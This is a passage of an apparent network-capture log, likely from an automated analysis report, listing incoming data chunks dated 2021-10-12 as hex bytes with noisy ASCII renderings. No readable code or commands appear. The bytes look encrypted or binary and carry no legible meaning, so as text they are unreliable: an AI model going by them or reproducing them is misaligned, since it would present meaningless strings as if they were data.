0b 8b 8c 84 90 02 65 63 41 db 5a a7 1a 8b 0d 7c fd 2d ef c7 6d 24 22 7b e5 69 2d fb 87 ab ee dc bb 46 89 82 d9 64 81 e8 
37 02 43 80 41 c6 c5 c4 81 a7 70 94 9f 11 9f 7c b1 7c a0 63 1b 03 86 71 10 ec a2 28 b7 8e 63 fc 92 aa c7 31 73 37 a7 61 
6e 75 47 6f ef a6 cb c5 7a 4c e2 d2 b0 72 0e 11 5f 
Data Ascii: AO2A0B|DGcA|QoV&/<=8_VRW~^SbgO\Fe<.qk@[bEo+2Sdfynt'3Lc}LR0TVDWG#f+ecAZ|-m$"{i-Fd7CAp||cq
(c1s7anuGozLr_

2021-10-12 07:38:07 UTC 112 IN Data Raw: 24 6f 8b 11 d2 4a e5 f1 94 86 21 e7 26 d2 3b 16 04 c7 cd c1 c3 6e 16 23 e6 4a 9d c5 58 79 2c b1 4a 0f 35 06 
75 74 65 7a b5 48 e5 fc 07 d5 5d 25 ad 23 c5 05 8e 42 d5 b0 b5 bb 23 cb 8a 3b 2e 29 4e e7 b4 1d 5a 7e b6 1b 9a d6 5d 
14 d8 4c e6 61 db e8 5c 27 78 4d 4d 44 b5 1e 2a 51 7a 69 ad 8f 05 3f cd 22 a9 24 39 be a7 25 44 5b 7a 96 c5 88 cd 15 02 
a3 ca 8f bb 77 59 02 02 74 d7 36 d1 7f cb 58 79 38 d5 20 37 31 96 ec 06 f2 3a 87 67 1f 78 42 eb 16 97 61 39 14 fd 35 6e 
6f fb 1a 3f 67 3d a1 d5 cd 46 e2 a2 29 2a 59 f0 bb 78 08 0d 82 87 91 88 4f 73 dc e1 06 e5 f9 8c 2b 9c 5f 7c ee 26 1e f9 c7 
90 ab 7e dd fc 5b fe 23 62 d7 67 8e fa 2f 64 b6 e0 81 cc c2 db 25 f5 5a 7d 7d c5 92 32 30 76 dc 6c 86 18 fd 0f 99 c7 54 59 
8c e9 11 62 9c e7 b3 9d 27 4b 32 ff 8c 75 28 8e 73 fe 
Data Ascii: $oJ!&;n#JXy,J5utezH]%#B#;.)NZ~]La\'xMMD*Qzi?"$9%D[zwYt6Xy8 71:gxBa95no?g=F)*YxOs+_|&~[#b
g/d%Z}}20vlTYb'K2u(s

2021-10-12 07:38:07 UTC 113 IN Data Raw: 4b eb 68 1a 4e c4 66 13 df ee e4 b5 5f 0a 84 ca af f2 5d 43 35 90 fc e4 af 87 24 ea 81 73 6a b2 33 15 8d 15 5d 
a0 4f 8d 53 76 c0 3c 14 70 e1 49 56 ab 4f e6 9d a4 75 9b 5c 6e 25 c2 e0 05 9e 06 3c c6 db b8 c7 ea e5 2c 9b f7 c5 0e 6b 
42 96 d9 48 65 9c 6f 1b 8c d1 2f e6 25 39 9e 48 3f 48 77 3c 66 68 65 19 f0 75 8a 95 f2 c5 d9 17 bf e9 72 76 46 4f d0 40 f1 
aa 45 71 bc 28 b1 c3 81 4c be 6f 6c ce 30 eb 0a 98 9b a4 d7 08 9d 0d 04 d0 29 ad 6c cd 0b 6f fa 21 f7 d3 18 bc 33 70 f6 f8 
31 d6 8b b7 c1 7e 1d 55 7b 99 d5 69 9d 94 ff 00 52 81 71 80 c4 e8 82 f8 62 87 9b 3f 9d 60 a2 71 cf b1 12 1c 9f e0 04 c0 af 
21 32 28 6e 8b 80 72 d4 3f 6b 0b 52 69 6e 62 32 e8 d0 58 c0 86 0c 4f eb cf 6d f2 1b 7a 2b 35 27 f3 38 4e bb dc 42 f0 c4 21 
cd ba 03 3a 48 01 03 8f c7 17 79 05 eb af 
Data Ascii: KhNf_]C5$sj3]OSv<pIVOu\n%<,kBHeo/%9H?Hw<fheurvFO@Eq(Lol0)lo!3p1~U{iRqb?`q!2(nr?kRinb2XOm
z+5'8NB!:Hy

2021-10-12 07:38:07 UTC 114 IN Data Raw: c0 0a b5 5f d7 0a 41 60 f2 d4 ca a7 14 64 b7 a9 7d 50 8f c3 00 1b 6d bb 3c a3 e9 2b c7 36 5c bd 4e 07 42 7a 
d0 62 9b f6 da f8 62 9a 45 66 36 14 07 09 ce cc 72 d1 ca 37 65 d4 0a 47 c8 90 0f 51 a7 e9 0c 25 fb 9b 37 d0 32 ae 0e 9f 
8c 04 8f 26 7e 2b 7d 50 e3 a9 07 18 9a 8f 8e 6b b3 f3 47 03 22 90 79 62 fc bb e2 b0 bf 4e 2c 06 c0 3b 93 d7 78 25 20 7e 
50 cc c9 cb ab 4d 78 ba 9c 54 d0 ad 1c 51 f2 7e 07 ed 01 ee 86 6f f7 8c fe 74 f9 c5 e5 38 a0 30 3f bc 89 24 fb 81 73 6a b2 
33 16 7d ea 70 84 41 95 c7 7a fa 4e fe 7a e1 5e 42 bb 51 13 9c 99 75 f3 a2 6d 09 c2 e5 13 85 14 3c c6 db b8 c7 ea d2 2c 
9b f7 df 7a 04 bc 97 df 5d 73 85 2a db 85 d1 34 f2 2d d4 94 64 2d 5b 7b 77 98 78 42 12 0d 7d be 4b c2 14 36 ec 68 e8 60 
7d 4c 41 9a 4c e0 54 55 56 af 2e 45 da ed ff b9 00 90 
Data Ascii: _A`d}Pm<+6\NBzbbEf6r7eGQ%72&~+}PkG"ybN,;x% ~PMxTQ~ot80?$sj3}pAzNz^BQum<,z]s*4-d-[{wxB}K6
h`}LALTUV.E

2021-10-12 07:38:07 UTC 115 IN Data Raw: 20 2e c6 88 22 7d 07 18 a3 22 33 99 18 f5 dc ec 2d f3 eb 6b b8 aa 25 6a 4d 0a c7 d9 86 ad 98 38 aa b9 a4 80 
52 bd 21 60 75 fa 7c 16 83 f2 43 86 10 86 b3 b0 c3 d8 7b 37 fc bb f2 1f c5 95 24 d9 2a d8 d2 3b 33 a1 81 1b 57 23 6e d3 
cf 00 5d 5f 8c bc 61 fd ce 84 82 90 7b e7 5f a8 81 6f 79 b3 ee c0 91 f1 4b a4 89 11 d8 25 09 b3 cf a4 a6 e1 f6 f3 8c 6b 46 
ee d9 c5 c1 66 45 64 e6 4a 93 04 91 68 eb 3a 70 0a 07 de d6 3d 75 7e 9d 65 f4 f8 68 91 6d 20 a7 83 c6 03 e1 78 d7 b0 ae 
bb 2a d8 dd a9 2e 29 48 cf b3 19 46 8a 9f 6e 9f d5 5d 13 f9 53 f5 62 b4 84 59 38 78 b8 4e 7b 4d d3 28 51 72 08 f2 98 6a cf 
ce 59 e9 0d 2f bb af 39 6a 2a 41 97 c3 aa e1 15 7e e2 a4 f2 bf 61 7b 05 00 72 93 86 95 7e c1 43 7c 24 14 42 fb 11 97 ea 
10 d9 2a 5c 74 11 76 47 d4 68 94 63 3f 7d 9d 71 6f 
Data Ascii:  ."}"3-k%jM8R!`u|C{7$*;3W#n]_a{_oyK%kFfEdJh:p=u~ehm x*.)HFn]SbY8xN{M(QrjY/9j*A~a{r~C|$B*\tvGhc?}qo

2021-10-12 07:38:07 UTC 116 IN Data Raw: a2 d4 2a c9 20 b5 6a 71 10 55 ec 74 6c 15 50 de ff be be 7a 8c d9 fd fa 6d 9e de 79 d5 cc e6 69 fc e7 43 fb 92 
24 23 5b 07 fe 25 ca 76 3d fc 01 b4 17 98 e8 2d b2 35 7d 28 ba 94 72 be c6 27 58 02 a5 61 9b ca 4a 1c 3a f7 60 62 ed ab 
f7 93 52 5c 0d 13 d8 2e 5a da 8f 33 da e2 97 ca 56 76 ab 00 85 45 63 54 e2 ad 1a 51 f2 78 07 c5 01 ee 86 78 e0 af f9 b9 
e2 de f4 2d 85 37 c0 bd af 35 d0 90 03 20 a2 38 0e 90 e2 4f 88 5c 8f 5b 69 e1 5e f2 7e 1f 4e 65 ae 5f d4 fa 4a 81 7f bd 7f 
1a c9 f6 07 97 05 3a 33 da 85 c1 e4 c4 ca 0a e2 9f 82 94 bf 89 c9 48 6f 83 54 05 99 2f 3f c1 3b ff 0f 65 3c 50 7b 3e 75 74 
6e 12 03 6d 58 9c e6 1c 25 93 09 f3 61 79 50 57 af dc eb 54 45 4b b2 42 f2 da c1 ed 30 d8 44 e8 2a f8 0b 82 99 a2 c8 02 
6e 13 21 25 5b 81 5f cf 76 34 fd 3e ef c8 67 ae 
Data Ascii: * jqUtlPzmyiC$#[%v=-5}(r'XaJ:`bR\.Z3VvEcTQxx-75 8O\[i^~Ne_J:3HoT/?;e<P{>utnmX%ayPWTEKB0D*n!%
[_v4>g

2021-10-12 07:38:07 UTC 118 IN Data Raw: 23 0c cc fd e6 93 3a b9 ab f6 83 52 b3 09 76 08 bc 6e 26 85 f0 78 fb 57 87 1b b4 c1 ca 10 74 d6 a0 f6 1a a9 23 
24 f5 2c c4 b6 e5 36 b7 75 18 7e 5c 30 d9 cf 03 47 af 89 ed 29 d7 cc ab 63 90 7b e4 5f a8 81 6f 53 b0 ee c0 d7 e4 54 bc 
04 3a d8 25 28 73 d8 8d 30 e5 dc e7 28 26 00 ef 7e c1 c3 64 c5 27 e7 5b 81 00 4e 54 7e b7 4a 0f 1e 21 aa 54 71 6a b3 55 
e7 fd 68 93 58 3d 59 fe eb 0d e3 e0 1a b0 bf a7 21 80 f3 e1 0a 30 5b ca a2 0d 5f 63 60 43 b4 d5 43 2f f3 4e f7 62 a2 6b 5d 
0b 71 51 5c 47 da c2 2d 4b 8e 72 9b 9b 41 c9 e7 99 ad 63 e2 bf a7 25 00 21 78 96 c3 a0 e3 17 02 e5 fe d1 bb 77 53 0f 00 
72 48 c4 8a 57 57 47 75 28 75 58 15 bd bd ea 10 db 28 90 60 9b c3 52 19 14 96 6c 14 59 e2 3d 76 bd da c2 cd 67 3d 83 
cb cf 4f ec 8f 23 00 4a f5 93 9b 65 10 89 af 7d a6 43 
Data Ascii: #:Rvn&xWt#$,6u~\0G)c{_oST:%(s0(&~d'[NT~J!TqjUhX=Y!0[_c`CC/Nbk]qQ\G-KrAc%!xwSrHWWGu(uX(`R
lY=vg=O#Je}C

Timestamp
kBytes
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2021-10-12 07:38:07 UTC 119 IN Data Raw: 23 de 79 d7 f3 2c 78 f6 f2 29 ef 98 37 24 48 11 f1 12 c5 8d 3c d6 0b 81 11 8e 78 76 2e 34 7d 24 79 8f 63 b7 f5 
2d 49 02 a3 04 34 f3 4b 1a 1d 84 66 68 30 8a f5 8c 41 67 4b 12 c9 29 54 dd 67 1a d5 ea 86 c9 28 f6 94 cc 83 2a fe 4b ed 
b4 1b 79 a8 74 18 d5 ee e6 bc 56 d0 80 e6 a4 9e 59 f5 3c 8e 45 a3 bc 83 31 c3 83 7c 62 cc cf 0b 83 ed 51 9d 45 88 7e 86 
f4 53 eb 66 6c 48 49 a4 5d fe 83 a4 60 96 8a 4a 0c c4 f0 b4 8b 04 3b d9 cf 81 64 f5 cc d8 8b dc da 55 84 44 96 d9 4c ef 84 
45 08 86 c2 21 fc 2d d1 b7 42 39 50 62 95 77 66 7a 17 1a 5c 0e 9d ca 08 0f a8 42 f2 6b 55 fe 5e db 55 d2 99 45 5d b0 30 
af f3 05 ea be 69 7b 5c 2c f8 01 99 99 8f d9 33 75 1a a4 e4 5a ad 6f 6f 1c 5c e8 2a ff e8 bb bc 22 71 fb 2e f4 f9 87 a7 d5 7d 
ad 42 a1 8b cf 45 96 a6 e2 16 cf b5 69 7e c4 
Data Ascii: #y,x)7$H<xv.4}$yc-I4Kfh0AgK)Tg(*KytVY<E1|bQE~SflHI]`J;dUDLE!-B9Pbwfz\BkU^UE]0i{\,3uZoo\*"q.}BEi~

2021-10-12 07:38:07 UTC 120 IN Data Raw: 3e 9b c1 db 07 6c d9 aa d2 0b a9 41 34 fd 39 cb 21 f4 15 b9 9d 85 43 7a 30 fa 63 04 5f 5b ae d0 0f ea 5e ac 8b 
83 22 b9 c4 80 94 00 44 b8 fd db ec f6 5c 34 a5 33 c9 07 3e 69 bc 9d 30 e1 fc 29 29 16 05 f4 f1 d5 c3 64 34 0f df 4b 97 19 
3f 6d 3d b7 40 8a 4b de ab 7c 0a 32 98 4f f0 f2 b5 74 5f 25 a7 da ef 34 e1 8f dd a3 ad b9 33 f5 dd cf 2f 23 95 2d a0 1c 5a 
76 b6 65 9d d6 5d 14 d2 4e e6 6d 9c a4 5c 27 78 7f 86 40 da d3 3e dc 5b 73 b7 98 79 d0 ce 0a 88 09 2f b9 8f 0b 6c 02 72 
e5 30 a1 e3 11 11 b1 b4 e6 d4 86 52 0f 06 1d 51 f9 d3 75 d2 62 4d 2c c3 4f c3 22 b3 c2 fa d8 23 8c eb 3f 74 45 d8 14 8e 
70 23 6f c8 1c 6a 65 c4 bb b3 60 3d 89 c6 dc 52 f0 87 88 02 4a ff 93 56 62 10 85 91 b3 4f 41 7a fe e4 1f f1 d7 8c 0b 9c 59 
60 6e 23 18 96 0b 86 bf 60 ea 6c 41 e8 46 be 
Data Ascii: >lA49!Cz0c_[^"D\43>i0))d4K?m=@K|2Ot_%43/#-Zve]Nm\'x@>[sy/lr0RQubM,O"#?tEp#oje`=RJVbOAzY`n#`lAF

2021-10-12 07:38:07 UTC 121 IN Data Raw: 8e 78 1d cc be 7c 22 60 e9 fe bf dd 05 41 1d b3 78 a4 f2 5a 0b 2f 89 8c 63 c1 aa ec 89 69 64 05 13 cf 0b 61 d4 
71 38 de de 86 cf 4d 45 fd ce 85 45 7c 40 fe a9 17 40 f4 6a 0f 21 fe c3 ba 6f f0 ad 74 a3 f1 d9 ce 86 89 2a 3e a3 9b 28 df 
92 69 7d bf c6 0b af ed 5e 9f 57 81 45 7e f0 42 fa 6e f8 b1 48 88 48 fc 9b a4 7a a8 cb 6e 09 ce 99 e1 9b 1a 29 de c9 b6 d6 
e6 db d2 8b cc d1 5e 95 41 ba c3 4a 72 92 49 20 aa d4 3e eb 1a e9 9d 64 3a 78 8b 35 66 73 01 27 0c 74 a0 82 ee 11 30 
e8 51 e5 7e 5f b8 5f f7 53 fa 44 4c 32 98 3b bb dd de ca ad 78 6c c0 3c e7 1e 66 8b 83 eb 02 6e 63 d4 da 5a ab 78 a2 d8 
7e fc 34 84 3c 12 bc 24 63 80 d3 32 fa 8d ce 3c f1 aa 44 b2 84 c3 44 94 90 f4 11 54 95 62 80 c4 e8 9b 9a 67 ad 8d 3b 96 
7f 8b c2 ce a0 19 1c 80 0d 12 ec b3 35 a3 b5 99 92 
Data Ascii: x|"`AxZ/cidaq8MEE|@@j!ot*>(i}^WE~BnHHzn)^AJrI >d:x5fs't0Q~__SDL2;xl<fncZx~4<$c2<DDTbg;5

2021-10-12 07:38:07 UTC 123 IN Data Raw: d0 cf 0e 30 af 89 c1 2d ef df 91 91 ec 4c ae 5e ac 94 13 6c ae ec ca fb c1 47 b5 8e 18 f0 4c 28 f3 9e e3 c7 e0 f6 
ff 28 1b 14 e2 b6 3d c2 64 38 31 88 9f 95 13 41 10 c1 b6 5b 0c 10 b0 7e 7a 74 74 f6 b3 f5 f8 6e 95 32 f0 a5 ff cd 6c 1f 8e 
d7 b6 ac a2 28 d0 8a 33 2e 29 4e d9 cd c9 58 74 94 2d 64 d7 5b 3a ee 21 33 65 b4 9f 33 d9 73 46 49 51 d4 c2 26 2f 3c 72 
b7 9d 7b c4 e4 3e ad 0c 29 ac ac 5c 4e 00 78 90 d0 b0 f2 07 0a ca 8d f0 bb 71 42 1f 11 7e 90 d6 d6 7f c7 6f 5b 20 c2 49 
eb df 94 ea 1a b5 07 84 67 13 65 55 d2 0c ba 4c 3a 7b e6 1c 40 67 c2 ab 16 88 3f 89 cd a7 60 e6 af 26 13 5a f6 d4 54 65 
10 85 81 8a b4 2c 61 f5 f5 09 3b f0 81 27 ab 5f 76 e9 37 0c be 32 92 ab 7e 1c c4 50 e2 5b 40 c5 6d 99 d8 28 72 88 9f 57 
6a 3f ca 36 ca a2 6c 68 d2 e8 5e 26 f8 61 7b 55 
Data Ascii: 0-L^lGL((=d81A[~zttn2l(3.)NXt-d[:!3e3sFIQ&/<r{>)\NxqB~o[ IgeUL:{@g?`&ZTe,a;'_v72~P[@m(rWj?6lh^&a{U

2021-10-12 07:38:07 UTC 124 IN Data Raw: e8 a6 67 a4 50 4f 00 19 19 31 45 d4 6a 1a e2 ef 86 c5 6f 44 94 cc 8f 31 71 4b ed a5 e9 5a e3 75 6c cd ff ef b1 
75 f3 8f 38 b2 d4 fb c3 3c 88 20 33 a8 89 13 f0 92 78 60 7d 38 0c a9 eb 1d 90 42 9c 56 69 f0 53 ed 71 e1 4f 50 a5 5c ed 84
b4 7e 80 b2 6f 09 c4 ec 16 9a 1b 75 cf 25 bc 80 f5 cc d0 98 d8 b3 06 6a 40 92 dd 5f 1f ff 44 08 83 fb 3e fe 02 c3 9f 8e 3c 50
64 3f 67 79 7f 01 f0 61 eb 9d ca 00 25 96 75 f2 61 79 3b 20 da 5f ef 56 94 10 b0 39 b9 f3 d5 e9 be 65 44 d5 2a f8 0b e5 f7 
ae c8 17 60 18 d6 da 4c 53 6f c7 0b 50 d1 3c e8 4e a4 c1 a2 7a ef 02 32 f8 fc 21 c3 f0 ae 6a fa 88 dc 6e fa f8 f5 00 47 89 7f
7c be bb 8a 8b 66 87 e0 b9 97 79 b5 52 3f a2 19 09 88 0a fb ed b4 dc bd 94 60 bf 7b aa c3 b5 c3 62 c3 63 6e 77 3b f5 94 2
4 c0 aa 03 64 b9 da bb 69 75 ff 35 
Data Ascii: gPO1EjoD1qKZulu8< 3x`}8BViSqOP\~ou%j@_D><Pd?gya%uay; _V9eD*`LSoP<Nz2!jnG|fyR?`{bcnw;$diu5

2021-10-12 07:38:07 UTC 125 IN Data Raw: 4a a4 8d 06 42 00 04 fa b2 9b 26 f9 de d4 39 16 03 c5 8f bf 5a 65 3e 23 ff d0 b2 3e 41 59 25 af 44 19 2f f2 a9 
78 72 54 c3 31 6d f9 68 86 44 bf 82 d2 cc 25 f8 90 c2 af ac 85 14 df e5 c9 05 7f 36 56 a3 1c 5e 6e 04 67 b5 dc 7d 26 e9 66 
fc 4f 99 97 5c 21 58 10 31 db db d3 2c 4a ea 56 9a 93 4c d0 d3 0e b5 24 02 bd a7 29 46 58 06 0f c2 a0 e7 0b 98 80 88 f9 
9d 6b 4c 3f 1f 7e 90 d6 d1 7f c7 6d 2f 5c 5b 4e c3 34 8b 70 35 f7 28 a0 7a 0a 48 5a cc 2f bf 63 3f 7d ca 6e 10 fc c3 ad 3a 
79 a7 ac ea c3 60 fa b0 6b 1d 47 dd 96 7c 67 16 a9 e5 e5 3d 42 7a f0 ea 0a 7f da 89 03 ba 40 7f fc 7c 07 9a 22 bf a9 74 c4
ee 23 96 d5 97 d6 63 97 d8 a3 40 9b e6 8f 8a ca c4 47 c2 7f 57 50 c1 fd 49 1a 28 a8 dd bf 1a f9 1a 81 5a 66 67 8f f7 5f 68 
83 88 bb b2 08 32 05 f8 a6 13 39 d9 70 fe 
Data Ascii: JB&9Ze>#>AY%D/xrT1mhD%6V^ng}&fO\!X1,JVL$)FXkL?~m/\[N4p5(zHZ/c?}n:y`kG|g=Bz@|"t#c@GWPI(Zf
g_h29p

2021-10-12 07:38:07 UTC 127 IN Data Raw: 6b 81 bc 17 51 fb 5d 35 dd ff e9 80 14 8a 1c e7 a2 f5 cc c7 a6 ad 07 30 9a 9c 08 e8 fc 7a 6a a3 21 22 ae e9 5c 
8a 68 f6 28 f0 f1 53 e9 6e d5 d5 6c 89 52 cb 82 81 5e f1 a0 6f 09 df de 3b 98 1a 29 e7 b5 d7 55 f4 cc d6 85 ee 54 58 46 4f 
b0 c0 6e 42 f5 47 08 87 ce 34 c5 1f c5 9f 62 16 3e 1a ae 67 79 6a 1c 38 ee 83 b0 c5 24 38 de 60 72 63 7d 46 41 d1 77 c6 
56 44 5b 9a 53 c5 42 c0 e9 ba 70 5b 4b 0e d5 0f be 95 98 e8 99 61 0c 28 c5 72 80 6c cd 0b 56 96 40 72 c1 13 b8 3d 43 75
23 1d f4 a1 be fa d0 38 40 a1 8a c4 4c aa 85 f4 06 69 e0 17 e7 c4 c4 8f 94 5b 1f be 14 98 5f ae 43 ef 34 1b 03 8c 07 2d c1 
a0 22 ba b5 0d ed cf a9 c7 3f 6b 25 db 47 43 7d 1f e8 d5 86 56 a8 07 4c f9 f0 96 61 08 78 1e 1f 4a 61 39 5f b4 dc 52 94 e0 
20 d3 8d 1b 02 61 8a d7 1e a8 f0 50 28 ef b0 
Data Ascii: kQ]50zj!"\h(SnlR^o;)UTXFOnBG4b>gyj8$8`rc}FAwVD[SBp[Ka(rlV@r=Cu#8@Li[_C4-"?k%GC}VLaxJa9_R aP(

2021-10-12 07:38:07 UTC 128 IN Data Raw: 24 e9 8a 4a 7f 39 a8 39 90 22 f2 a4 5e 6b 1c b9 0f f0 f8 68 9d 48 0d 8a fd c7 05 cb e1 a9 29 be ad 3d c2 86 55 
0a 04 47 e9 bd 7f 7a 21 9a 42 98 c9 56 14 db 4c e6 61 9e fb 22 be 73 46 4b 5d be 49 0d 7c 7f 55 a8 fd 4a a9 c8 22 af 13 
20 97 8a 2d 6c 04 52 f8 bd 39 e2 17 06 ba c0 68 9e 5a 5c 29 1f 17 98 8a d7 7f c1 58 7c 0a ef 4d c3 36 bc 84 6e 43 22 86 
63 0a 12 df e6 2a 9d 47 20 1d c0 4e 6a 65 c2 b2 1e 4f 10 8b c7 ce 6c 8e d1 b9 03 4a f1 a4 19 fd 35 ae 89 bd bb 24 5a 6e 
f1 03 e5 e3 8c 22 9e 5f 70 c9 4a 66 0f 0b 92 af 6b aa 5e 64 c5 43 b0 c9 0f a8 72 3d 65 b6 f5 b9 bd ed d9 23 db 5e 15 03 
5a fc 4f 34 69 bf de 9b 37 f3 23 95 a9 63 fa 80 d1 40 78 b4 ca a0 9a 23 1a 6b 80 15 70 47 44 6e 94 ff 9f b7 c2 20 d2 dc bd 
9c bb 95 fb 12 88 32 3d a7 30 81 c5 8a 69 db 35 01 
Data Ascii: $J99"^khH)=UGz!BVLa"sFK]I|UJ" -lR9hZ\)X|M6nC"c*G NjeOlJ5$Zn"_pJfk^dCr=e#^ZO4i7#c@x#kpGDn 2=0i5

2021-10-12 07:38:07 UTC 129 IN Data Raw: fd a2 c9 92 7c 4a 2d 38 0a 83 71 79 a1 50 ba 76 e7 f0 53 ed 51 e9 48 49 a4 43 ff b5 98 7c 80 a4 45 8f ba 6f 17 
9a 1e 0f 42 db a9 cc 6f e9 ff 88 fd ee f2 6b 40 96 ff 41 65 83 45 17 b6 f9 13 ef 32 c1 b5 e6 42 c9 65 37 62 59 fe 03 0e 74 
3c b8 e7 13 01 c8 d0 f2 61 7d 66 15 dc 5f eb 4e 6c 70 b2 39 bd f1 47 97 27 6e 6c d5 0b 69 01 98 8a 35 ed 3e 71 2a 08 4a 
5a ad 6e ed 42 7b fc 3e f4 ec 3b 91 20 7b e9 2c b2 84 1e a0 c2 f4 8a d0 a1 8a dc fe a2 aa e5 26 63 18 69 7e c5 e4 f0 8c 
62 85 81 11 bb 7b b1 7c e5 22 67 9a 8d 1e 01 cc 31 22 bc 9f fd b6 7b b9 e1 1b e7 1f 41 62 4e 0c 3e f7 ef bc e9 87 05 4c 
e4 f2 39 1d 91 7f 34 71 14 6c 38 5f b0 59 4c 23 d4 2b fd 3f 04 39 41 36 56 19 a8 ec 60 2d c0 b2 25 1e 63 e2 58 f4 37 60 92
b6 33 c3 be b6 de aa 69 28 ea 35 c9 53 91 4e 77 
Data Ascii: |J-8qyPvSQHIC|EoBok@AeE2Be7bYt<a}f_Nlp9G'nli5>q*JZnB{>; {,&ci~b{|"g1"{AbN>L94ql8_YL#+?9A6V`-
%cX7`3i(5SNw

2021-10-12 07:38:07 UTC 130 IN Data Raw: dd 61 21 d8 20 82 18 62 14 4a 6e 42 4c 04 67 f3 44 b4 40 7b 80 25 ec f8 16 ca f7 54 d3 db 3a 50 70 8a df e5 99
33 0e fe 16 f3 3a 42 ad 11 c2 05 85 b4 8e 72 05 83 db 7a 22 6a 99 6b 96 f0 0d 4c 04 8f e9 cd 6b 4a 1c 34 a3 d4 62 ed b0 
67 a9 6c 5e 26 33 6f 23 45 d4 51 35 fe ef 86 d2 6f 51 97 cc 83 6f e5 35 74 bf 17 55 c3 d2 18 df ff 75 8f 53 e6 a3 c6 05 f1 
d3 f4 1c 86 22 3e bc 9c 28 e0 bf 7a 6a a5 12 8c fd 72 5d 8c 46 bc fe 69 f0 53 77 54 cc 5d 6f 84 f4 ed 9d b5 5e a1 aa 6f 09 
db ff 3e b7 18 2f cb f1 2f b2 6c cd d2 9e fb 67 7d 6b 40 0c fa 76 70 a5 65 a1 87 d1 3e cd 18 cf 9f 64 23 40 4c 1a 64 79 68 
29 8c 0a 3f 9c ca 06 07 42 40 f2 61 e7 63 73 ca 79 cb fe 44 5d b0 19 81 d3 c1 e9 a5 47 41 d3 2b fe 2b 1a f4 36 c9 13 67 
2c 83 db 5a ad f4 e8 20 6d da 1e 40 c0 13 bc 
Data Ascii: a! bJnBLgD@{%T:Pp3:Brz"jkLkJ4bgl^&3o#EQ5oQo5tUuS">(zjr]FiSwT]o^o>//lg}k@vpe>d#@Ldyh)?B@a
csyD]GA++6g,Z m@

Timestamp
kBytes
transferred Direction Data
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2021-10-12 07:38:07 UTC 131 IN Data Raw: 22 69 b0 1f ac 92 3e 9d 0f e0 81 52 23 06 5b 1a 9a 5d dd 87 f0 55 db 44 8d b3 b4 de f8 2e 52 ff bb f0 37 38 a3 
bc d8 2e d8 9d 29 31 a1 8b 83 77 73 35 f4 ef c8 5f 51 88 e1 1d f6 ce 80 9f b1 28 82 5c a8 83 2a c2 cc 77 cb fd d6 6b 69 89 
11 d8 bf 0c de 86 aa 10 2c f6 f9 3b 36 5c e5 d9 c1 dc 47 16 0a e5 4a 91 39 cd 01 a4 b6 5b 0e 27 11 ab 78 74 e4 bc 62 e6 
de 48 4c 5d 25 a7 df bb 09 e1 8f c8 93 97 80 3b dd e3 e5 a9 57 d1 ce a2 18 7a bb 9e 42 98 4c 7e 11 e4 68 c6 a8 b4 95 5c 
07 ed 4c 4f 42 c5 f1 00 7c 72 73 b1 b3 ec b5 55 23 af 08 0f 6f a7 2f 6c 98 5d bb d1 86 c3 c7 02 a5 a5 d2 7a 7d 53 0f 1f 50 
90 d6 d1 7f c7 6d f3 5c 5b 4e c3 34 b6 3b 10 da 23 1c 42 38 66 63 e3 d6 92 61 3f 5b 03 3e 6e 65 dd 8e 16 4a 3f 89 c1 e2 
c0 9a 36 21 02 4e d5 69 7e 67 10 19 a2 b6 b6 65 
Data Ascii: "i>R#[]UD.R78.)1ws5_Q(\*wki,;6\GJ9['xtbHL]%;WzBL~h\LOB|rsU#o/l]z}SPm\[N4;#B8fca?[>neJ?6!Ni~ge

2021-10-12 07:38:07 UTC 132 IN Data Raw: dd ff b6 dc db 3c 6d de d9 44 e4 9f 1d a8 25 8f f2 3a dc a8 ce d0 23 a5 8b ab 5f 17 85 15 8f 22 6a 86 52 6e d0 
0f 4c 1d a8 43 9e f0 4b 1a 1a 01 0c fb ec b0 f9 ac b2 4f 00 13 53 06 68 c5 57 12 05 ef 86 cf 67 a1 98 cc 85 58 4b 66 ef be 
11 7b 61 0b 81 de ff eb 8a 8a f4 85 e6 38 d4 fe e5 1a a8 de 3e bc 83 1b 2c 9f 78 6a b4 10 27 81 eb 5a a6 c0 e2 cf 68 f0 57 
cd 84 e1 4f 49 3e 79 c0 8c 93 5e 75 a2 6f 09 e4 13 1b 9a 1a 32 e5 f6 ab cc f3 e6 50 e4 42 cf 7d 6f 60 60 df 5b 62 19 60 25 
96 f7 1e 1b 32 c7 9f 44 d0 5d 64 37 7c 51 43 01 0e 72 8c 1f b4 9b 26 e8 44 d2 96 7d 46 5e 41 7a c6 45 62 7d 47 39 bb db 
e1 19 b3 6f 6c cb 03 d5 03 98 8c 85 4a 6d fa 0d 28 df 7a 55 6e cd 0d e6 d9 13 fa e6 33 44 22 7b ef 26 c4 f7 87 a1 d8 d8 87
40 a1 8c f6 e6 f9 1e f5 00 47 aa 90 7e c5 
Data Ascii: <mD%:#_"jRnLCKOShWgXKf{a8>,xj'ZhWOI>y^uo2PB}o``[b`%2D]d7|QCr&D}F^AzEb}G9olJm(zUn3D"{&@G~

2021-10-12 07:38:07 UTC 134 IN Data Raw: b3 b4 e1 10 09 7f fd a6 de 30 bc dd 23 f3 a8 a2 24 e4 31 a5 ab 00 53 5e 27 48 ea 29 4d 77 a8 d8 2a fc ce a0 
52 9d 00 af 41 b9 ad 2d 46 b2 e8 e0 7f ac d2 a5 89 15 f8 3f 28 f3 94 16 15 cc e7 df 1b 0c 04 ef d9 e1 20 6b 3e 27 fb 62 ba 
11 4b 79 17 31 25 93 06 df af 58 6f 7f 99 4f 6e dd 45 90 7b 05 bc fe c7 03 c1 66 d8 b0 bf b2 29 f5 c8 cd 2f 2f 62 4d dc 85 
5b 74 9a 62 84 d7 5b 3c 6c 6b cb 76 92 b5 40 26 72 46 6f bb d5 d3 28 4f 58 5e b5 99 6c e1 4a 5c 36 0d 2f bb 87 32 6d 02 
78 0c e6 8d f1 31 22 b8 a4 f2 bb 57 52 1f 00 72 a7 da fb 52 c3 47 73 08 44 31 5a 31 96 ee 30 c4 22 86 67 8f 51 68 d1 21 
b2 7f 3e 7b e0 14 4c 75 c2 ad 21 6e 15 a4 c5 c8 40 ce 29 5e 9b 4b f5 bf 5e 78 11 83 87 01 81 6e 68 d2 d5 1c e4 ff a4 2f b7 
4f 76 e3 3b 0b be 27 90 ab 72 e8 46 3f 71 4d 96 
Data Ascii: 0#$1S^'H)Mw*RA-F?( k>'bKy1%XoOnE{f)//bM[tb[<lkv@&rFo(OX^lJ\6/2mx1"WRrRGsD1Z10"gQh!>{Lu!n
@)^K^xnh/Ov;'rF?qM

